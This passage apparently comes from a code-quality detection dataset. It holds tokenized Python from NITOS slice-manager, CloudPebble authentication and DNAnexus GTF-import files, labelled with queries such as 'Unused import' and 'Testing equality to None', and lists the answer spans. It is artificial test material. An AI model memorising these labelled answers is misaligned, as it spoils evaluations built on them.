"Ni", "tos", " ", "access", " ", "gateway", " ", "address_", "\\u\\u\\uNL\\u\\u\\u_", "gateway", "\\u", "elem_", "=_", "node", "\\u", "elem_", "._", "add", "\\u", "element_", "(_", "'", "gateway", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gateway", "\\u", "elem_", "._", "set\\u", "text_", "(_", "gateway", "\\u", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "granularity", " ", "of", " ", "the", " ", "reserva", "tion", " ", "system_", "\\u\\u\\uNL\\u\\u\\u_", "granularity", "_", "=_", "node_", "._", "get_", "(_", "'", "granularity", "'_", ")_", "[_", "'", "grain", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "granularity", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "node", "\\u", "elem", ".", "add", "\\u", "instance", "('", "granularity", "',", " ", "granularity", ",", " ", "granularity", ".", "fields", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "granularity", "\\u", "elem_", "=_", "node", "\\u", "elem_", "._", "add", "\\u", "element_", "(_", "'", "granularity", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "granularity", "\\u", "elem_", "._", "set\\u", "text_", "(_", "str_", "(_", "granularity", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "hard", "ware", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "#", "hard", "ware", "\\u", "type", " ", "=", " ", "node", ".", "get", "('", "hard", "ware", "\\u", "type", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "hard", "ware", "\\u", "type", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "node", "\\u", "elem", ".", "add", "\\u", "instance", "('", "hard", "ware", "\\u", "type", "',", " ", "hard", "ware", "\\u", "type", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hard", "ware", "\\u", "type", "\\u", "elem_", "=_", "node", "\\u", "elem_", "._", "add", "\\u", "element_", "(_", "'", "hard", "ware", "\\u", "type", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hard", "ware", "\\u", "type", "\\u", "elem_", "._", "set\\u", "text_", "(_", "node_", "._", "get_", "(_", "'", "hard", "ware", "\\u", "type", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "node_", "._", "get_", "(_", "'", "interface", "s", "'_", ")_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "interface_", "in_", "node_", "._", "get_", "(_", "'", "interface", "s", "'_", ",_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "node", "\\u", "elem_", "._", "add", "\\u", "instance_", "(_", "'", "interface", "'_", ",_", "interface_", ",_", "[_", "'", "component", "\\u", "id", "'_", ",_", "'", "client", "\\u", "id", "'_", ",_", "'", "ipv", "4", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "'", "bw", "\\u", "unal", "located", "'", " ", "in", " ", "node", " ", "and", " ", "node", "['", "bw", "\\u", "unal", "located", "']", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "bw", "\\u", "unal", "located", " ", "=", " ", "etree", ".", "Sub", "Element", "(", "node", "\\u", "elem", ",", " ", "'", "bw", "\\u", "unal", "located", "',", " ", "unit", "s", "='", "kb", "ps", "')", ".", "text", " ", "=", " ", "str", "(", "int", "(", "node", "['", "bw", "\\u", "unal", "located", "'])", "/", "1000", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "PG", "v2", "Services_", "._", "add", "\\u", "services_", "(_", "node", "\\u", "elem_", ",_", "node_", "._", "get_", "(_", "'", "service", "s", "'_", ",_", "[_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tags_", "=_", "node_", "._", "get_", "(_", "'", "tags", "'_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tags_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tag_", "in_", "tags_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "tag", "\\u", "elem_", "=_", "node", "\\u", "elem_", "._", "add", "\\u", "element_", "(_", "tag_", "[_", "'", "tagname", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag", "\\u", "elem_", "._", "set\\u", "text_", "(_", "tag_", "[_", "'", "value", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "NIT", "OS", "v1", "Sli", "ver_", "._", "add", "\\u", "sli", "vers_", "(_", "node", "\\u", "elem_", ",_", "node_", "._", "get_", "(_", "'", "sli", "vers", "'_", ",_", "[_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "NIT", "OS", "v1", "Node_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "add", "\\u", "sli", "vers_", "(_", "xml_", ",_", "sli", "vers_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "component", "\\u", "ids_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sli", "ver_", "in_", "sli", "vers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filter_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "sli", "ver_", ",_", "str_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filter_", "[_", "'", "component", "\\u", "id", "'_", "]_", "=_", "'*", "%", "s", "*'_", "%_", "sli", "ver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sli", "ver_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "component", "\\u", "id", "'_", "in_", "sli", "ver_", "and_", "sli", "ver_", "[_", "'", "component", "\\u", "id", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filter_", "[_", "'", "component", "\\u", "id", "'_", "]_", "=_", "'*", "%", "s", "*'_", "%_", "sli", "ver_", "[_", "'", "component", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "filter_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "nodes_", "=_", "NIT", "OS", "v1", "Node_", "._", "get", "\\u", "nodes_", "(_", "xml_", ",_", "filter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "node_", "=_", "nodes_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "NIT", "OS", "v1", "Sli", "ver_", "._", "add", "\\u", "sli", "vers_", "(_", "node_", ",_", "sli", "ver_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "NIT", "OS", "v1", "Node_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "remove", "\\u", "sli", "vers_", "(_", "xml_", ",_", "hostnames", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "hostname_", "in_", "hostnames", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nodes_", "=_", "NIT", "OS", "v1", "Node_", "._", "get", "\\u", "nodes_", "(_", "xml_", ",_", "{_", "'", "component", "\\u", "id", "'_", ":_", "'*", "%", "s", "*'_", "%_", "hostname_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "node_", "in_", "nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sli", "vers_", "=_", "NIT", "OS", "v1", "Sli", "ver_", "._", "get", "\\u", "sli", "vers_", "(_", "node_", "._", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sli", "ver_", "in_", "sli", "vers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "node_", "._", "element_", "._", "remove_", "(_", "sli", "ver_", "._", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "NIT", "OS", "v1", "Node_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "nodes_", "(_", "xml_", ",_", "filter_", "=_", "{_", "}_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "xpath_", "=_", "'//", "node", "%", "s", " ", "|", " ", "//", "default", ":", "node", "%", "s", "'_", "%_", "(_", "Xp", "ath", "Filter_", "._", "xpath_", "(_", "filter_", ")_", ",_", "Xp", "ath", "Filter_", "._", "xpath_", "(_", "filter_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "elems_", "=_", "xml_", "._", "xpath_", "(_", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "NIT", "OS", "v1", "Node_", "._", "get", "\\u", "node", "\\u", "objs_", "(_", "node", "\\u", "elems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "NIT", "OS", "v1", "Node_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "nodes", "\\u", "with", "\\u", "sli", "vers_", "(_", "xml_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "xpath_", "=_", "'//", "node", "[", "count", "(", "sli", "ver", ")>", "0", "]", " ", "|", " ", "//", "default", ":", "node", "[", "count", "(", "default", ":", "sli", "ver", ")>", "0", "]'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "elems_", "=_", "xml_", "._", "xpath_", "(_", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "NIT", "OS", "v1", "Node_", "._", "get", "\\u", "node", "\\u", "objs_", "(_", "node", "\\u", "elems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "NIT", "OS", "v1", "Node_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "node", "\\u", "objs_", "(_", "node", "\\u", "elems_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nodes_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "node", "\\u", "elem_", "in_", "node", "\\u", "elems_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "Node_", "(_", "node", "\\u", "elem_", "._", "attrib_", ",_", "node", "\\u", "elem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "site", "\\u", "id", "'_", "in_", "node", "\\u", "elem_", "._", "attrib_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "[_", "'", "authori", "ty", "\\u", "id", "'_", "]_", "=_", "node", "\\u", "elem_", "._", "attrib_", "[_", "'", "site", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "location_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "location", "\\u", "elems_", "=_", "node", "\\u", "elem_", "._", "xpath_", "(_", "'./", "default", ":", "location", " ", "|", " ", "./", "location", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "locations_", "=_", "[_", "loc", "\\u", "elem_", "._", "get", "\\u", "instance_", "(_", "Location_", ")_", "for_", "loc", "\\u", "elem_", "in_", "location", "\\u", "elems_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "locations_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "[_", "'", "location", "'_", "]_", "=_", "locations_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "bw", "limit_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bw", "limit", "\\u", "elems_", "=_", "node", "\\u", "elem_", "._", "xpath_", "(_", "'./", "default", ":", "bw", "\\u", "limit", " ", "|", " ", "./", "bw", "\\u", "limit", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bw", "limits_", "=_", "[_", "bw", "limit", "\\u", "elem_", "._", "get", "\\u", "instance_", "(_", "BW", "limit_", ")_", "for_", "bw", "limit", "\\u", "elem_", "in_", "bw", "limit", "\\u", "elems_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "bw", "limits_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "[_", "'", "bw", "limit", "'_", "]_", "=_", "bw", "limits_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "interfaces_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ifa", "ce", "\\u", "elems_", "=_", "node", "\\u", "elem_", "._", "xpath_", "(_", "'./", "default", ":", "interface", " ", "|", " ", "./", "interface", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ifaces", "_", "=_", "[_", "ifa", "ce", "\\u", "elem_", "._", "get", "\\u", "instance_", "(_", "Interface_", ")_", "for_", "ifa", "ce", "\\u", "elem_", "in_", "ifa", "ce", "\\u", "elems_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "[_", "'", "interface", "s", "'_", "]_", "=_", "ifaces", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "services_", "\\u\\u\\uNL\\u\\u\\u_", "node_", "[_", "'", "service", "s", "'_", "]_", "=_", "PG", "v2", "Services_", "._", "get", "\\u", "services_", "(_", "node", "\\u", "elem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "sli", "vers_", "\\u\\u\\uNL\\u\\u\\u_", "node_", "[_", "'", "sli", "vers", "'_", "]_", "=_", "NIT", "OS", "v1", "Sli", "ver_", "._", "get", "\\u", "sli", "vers_", "(_", "node", "\\u", "elem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "tags_", "\\u\\u\\uNL\\u\\u\\u_", "node_", "[_", "'", "tags", "'_", "]_", "=_", "NIT", "OS", "v1", "PL", "Tag_", "._", "get", "\\u", "pl", "\\u", "tags_", "(_", "node", "\\u", "elem_", ",_", "ignore_", "=_", "Node_", "._", "fields_", "+_", "[_", "\"", "hard", "ware", "\\u", "type", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "hard", "ware", " ", "types_", "\\u\\u\\uNL\\u\\u\\u_", "hard", "ware", "\\u", "type", "\\u", "elems_", "=_", "node", "\\u", "elem_", "._", "xpath_", "(_", "'./", "default", ":", "hard", "ware", "\\u", "type", " ", "|", " ", "./", "hard", "ware", "\\u", "type", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "[_", "'", "hard", "ware", "\\u", "types", "'_", "]_", "=_", "[_", "hw", "\\u", "type_", "._", "get", "\\u", "instance_", "(_", "Hard", "ware", "Type_", ")_", "for_", "hw", "\\u", "type_", "in_", "hard", "ware", "\\u", "type", "\\u", "elems_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "temporar", "y", "...", " ", "play", " ", "nice", " ", "with", " ", "old", " ", "slice", " ", "manage", "r", " ", "rsp", "ec_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "node_", "[_", "'", "component", "\\u", "name", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host", "name", "\\u", "elem_", "=_", "node", "\\u", "elem_", "._", "find_", "(_", "\"", "host", "name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "host", "name", "\\u", "elem_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "node_", "[_", "'", "component", "\\u", "name", "'_", "]_", "=_", "host", "name", "\\u", "elem_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
pebble/cloudpebble/auth/views.py
[ { "content": "from registration.backends.simple.views import RegistrationView\nfrom django.contrib.auth import logout, login, authenticate\nfrom django.views.generic import View\nfrom django.shortcuts import render, redirect\nfrom django.http.response import Http404\nfrom django.conf import settings\nfrom django.utils.translation import ugettext as _\nfrom ide.api import json_failure, json_response\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class IdeRegistrationView(RegistrationView):", "metadata": "root.IdeRegistrationView", "header": "['module', '___EOS___']", "index": 10 }, { "content": " def get_success_url(self, *args, **kwargs):\n return \"/ide/\"", "metadata": "root.IdeRegistrationView.get_success_url", "header": "['class', 'IdeRegistrationView', '(', 'RegistrationView', ')', ':', '___EOS___']", "index": 11 }, { "content": "class IdeRegistrationMissingView(View):", "metadata": "root.IdeRegistrationMissingView", "header": "['module', '___EOS___']", "index": 15 }, { "content": " def get(self, request, *args, **kwargs):\n raise Http404()", "metadata": "root.IdeRegistrationMissingView.get", "header": "['class', 'IdeRegistrationMissingView', '(', 'View', ')', ':', '___EOS___']", "index": 16 }, { "content": "def logout_view(request):\n logout(request)\n return redirect(\"/\")", "metadata": "root.logout_view", "header": "['module', '___EOS___']", "index": 20 }, { "content": "def login_action(request):\n username = request.REQUEST['username']\n password = request.REQUEST['password']\n user = authenticate(username=username, password=password)\n if user is None:\n return json_failure(_(\"Invalid username or password\"))\n\n if not user.is_active:\n return json_failure(_(\"Account disabled.\"))\n\n login(request, user)\n return json_response()", "metadata": "root.login_action", "header": "['module', '___EOS___']", "index": 25 } ]
[ { "span": "from django.shortcuts import render, redirect", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 45 }, { "span": "from django.conf import settings", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 32 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "registration_", "._", "backends_", "._", "simple_", "._", "views_", "import_", "Registration", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "import_", "logout_", ",_", "login_", ",_", "authenticate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "generic_", "import_", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "shortcuts_", "import_", "render_", ",_", "redirect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "._", "response_", "import_", "Http404_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "ugettext_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ide_", "._", "api_", "import_", "json", "\\u", "failure_", ",_", "json", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Ide", "Registration", "View_", "(_", "Registration", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ide", "Registration", "View_", "(_", "Registration", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get", "\\u", "success", "\\u", "url_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"/", "ide", "/\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Ide", "Registration", "Missing", "View_", "(_", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ide", "Registration", "Missing", "View_", "(_", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Http404_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "logo", "ut", "\\u", "view_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logout_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "redirect_", "(_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "login", "\\u", "action_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "username_", "=_", "request_", "._", "REQUEST_", "[_", "'", "user", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "password_", "=_", "request_", "._", "REQUEST_", "[_", "'", "password", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "authenticate_", "(_", "username_", "=_", "username_", ",_", "password_", "=_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json", "\\u", "failure_", "(_", "\\u_", "(_", "\"", "Inva", "lid", " ", "user", "name", " ", "or", " ", "password", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "user_", "._", "is", "\\u", "active_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json", "\\u", "failure_", "(_", "\\u_", "(_", "\"", "Account", " ", "disable", "d", ".\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "login_", "(_", "request_", ",_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
dnanexus/dx-toolkit/src/python/dxpy/scripts/dx_gtf_to_genes.py
[ { "content": "@dxpy.entry_point('main')\ndef importGTF(**args):\n\n if len(args) == 0:\n command_line_args = parser.parse_args(sys.argv[1:])\n fileName = command_line_args.fileName\n reference = command_line_args.reference\n outputName = command_line_args.outputName\n tag = command_line_args.tag\n property_key = command_line_args.property_key\n property_value = command_line_args.property_value\n additional_type = command_line_args.additional_type\n file_id = command_line_args.file_id\n else:\n fileName = args['fileName']\n reference = args['reference']\n outputName = ''\n if args.get('outputName') != None:\n outputName = args['outputName']\n tag = []\n if args.get('tag'):\n tag = args['tag']\n if args.get('property_key') != None:\n property_key = args['property_key']\n if args.get('property_value') != None:\n property_value = args['property_value']\n if args.get('additional_type') != None:\n additional_type = args['additional_type']\n if args.get('file_id') != None:\n file_id = args['file_id']\n\n inputFileName = unpack(fileName)\n\n capturedTypes = {\"5UTR\": \"5' UTR\", \"3UTR\": \"3' UTR\", \"CDS\": \"CDS\", \"inter\": \"intergenic\", \"inter_CNS\": \"intergenic_conserved\", \"intron_CNS\": \"intron_conserved\", \"exon\": \"exon\", \"transcript\": \"transcript\", \"gene\":\"gene\", \"stop_codon\": \"stop_codon\", \"start_codon\":\"start_codon\"}\n \n #Rows of this type will not be written to the gtable as their information is fully encompassed by the rest of the data\n\n ##Isolate the attribute tags from the file and check integrity\n spansTable, additionalColumns = constructTable(inputFileName)\n spansTable.add_tags(tag)\n\n types = [\"Genes\", \"gri\"]\n for x in additional_type:\n types.append(x)\n spansTable.add_types(types)\n details = {'original_contigset': dxpy.dxlink(reference)}\n\n if len(property_key) != len(property_value):\n raise dxpy.AppError(\"Expected each provided property to have a corresponding value\")\n for i in range(len(property_key)):\n 